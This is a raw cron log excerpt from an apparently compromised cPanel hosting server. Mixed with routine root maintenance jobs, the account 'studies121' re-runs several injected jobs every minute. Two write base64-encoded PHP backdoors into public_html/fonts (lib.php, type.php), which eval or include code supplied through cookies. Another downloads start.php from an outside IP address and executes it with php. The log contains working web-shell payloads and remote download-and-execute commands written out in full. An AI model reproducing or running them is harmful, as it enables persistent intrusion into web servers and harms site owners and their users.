Sep 22 14:19:01 ip-184-168-122-23 CROND[8543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:20:01 ip-184-168-122-23 CROND[9304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:20:01 ip-184-168-122-23 CROND[9306]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 14:20:01 ip-184-168-122-23 CROND[9308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:20:01 ip-184-168-122-23 CROND[9307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:20:01 ip-184-168-122-23 CROND[9310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:20:01 ip-184-168-122-23 CROND[9309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:20:01 ip-184-168-122-23 CROND[9313]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 14:20:01 ip-184-168-122-23 CROND[9317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:20:01 ip-184-168-122-23 CROND[9314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:21:02 ip-184-168-122-23 CROND[10095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:21:02 ip-184-168-122-23 CROND[10094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:21:02 ip-184-168-122-23 CROND[10097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:21:02 ip-184-168-122-23 CROND[10098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:22:01 ip-184-168-122-23 CROND[10922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:22:01 ip-184-168-122-23 CROND[10923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:22:01 ip-184-168-122-23 CROND[10925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:22:01 ip-184-168-122-23 CROND[10927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:22:01 ip-184-168-122-23 CROND[10930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:23:01 ip-184-168-122-23 CROND[11905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:23:01 ip-184-168-122-23 CROND[11907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:23:01 ip-184-168-122-23 CROND[11906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:23:01 ip-184-168-122-23 CROND[11910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:24:01 ip-184-168-122-23 CROND[12965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:24:01 ip-184-168-122-23 CROND[12966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:24:01 ip-184-168-122-23 CROND[12967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:24:01 ip-184-168-122-23 CROND[12970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:24:01 ip-184-168-122-23 CROND[12971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:25:01 ip-184-168-122-23 CROND[13746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:25:01 ip-184-168-122-23 CROND[13748]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:25:01 ip-184-168-122-23 CROND[13750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:25:01 ip-184-168-122-23 CROND[13749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:25:01 ip-184-168-122-23 CROND[13756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:25:01 ip-184-168-122-23 CROND[13757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:25:01 ip-184-168-122-23 CROND[13758]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 14:26:01 ip-184-168-122-23 CROND[14585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:26:01 ip-184-168-122-23 CROND[14586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:26:01 ip-184-168-122-23 CROND[14588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:26:01 ip-184-168-122-23 CROND[14587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:26:01 ip-184-168-122-23 CROND[14590]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 22 14:26:01 ip-184-168-122-23 CROND[14589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:27:01 ip-184-168-122-23 CROND[15484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:27:01 ip-184-168-122-23 CROND[15485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:27:01 ip-184-168-122-23 CROND[15486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:27:01 ip-184-168-122-23 CROND[15487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:28:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 22 14:28:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 22 14:28:01 ip-184-168-122-23 CROND[15810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:28:01 ip-184-168-122-23 CROND[15812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:28:01 ip-184-168-122-23 CROND[15814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:28:01 ip-184-168-122-23 CROND[15815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:28:01 ip-184-168-122-23 CROND[15816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:29:01 ip-184-168-122-23 CROND[16019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:29:01 ip-184-168-122-23 CROND[16023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:29:01 ip-184-168-122-23 CROND[16022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:29:01 ip-184-168-122-23 CROND[16021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:30:01 ip-184-168-122-23 CROND[16153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:30:01 ip-184-168-122-23 CROND[16154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 14:30:01 ip-184-168-122-23 CROND[16155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:30:01 ip-184-168-122-23 CROND[16157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:30:01 ip-184-168-122-23 CROND[16159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:30:01 ip-184-168-122-23 CROND[16156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:30:01 ip-184-168-122-23 CROND[16160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:30:01 ip-184-168-122-23 CROND[16161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:31:01 ip-184-168-122-23 CROND[16313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:31:01 ip-184-168-122-23 CROND[16315]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 14:31:01 ip-184-168-122-23 CROND[16314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:31:01 ip-184-168-122-23 CROND[16316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
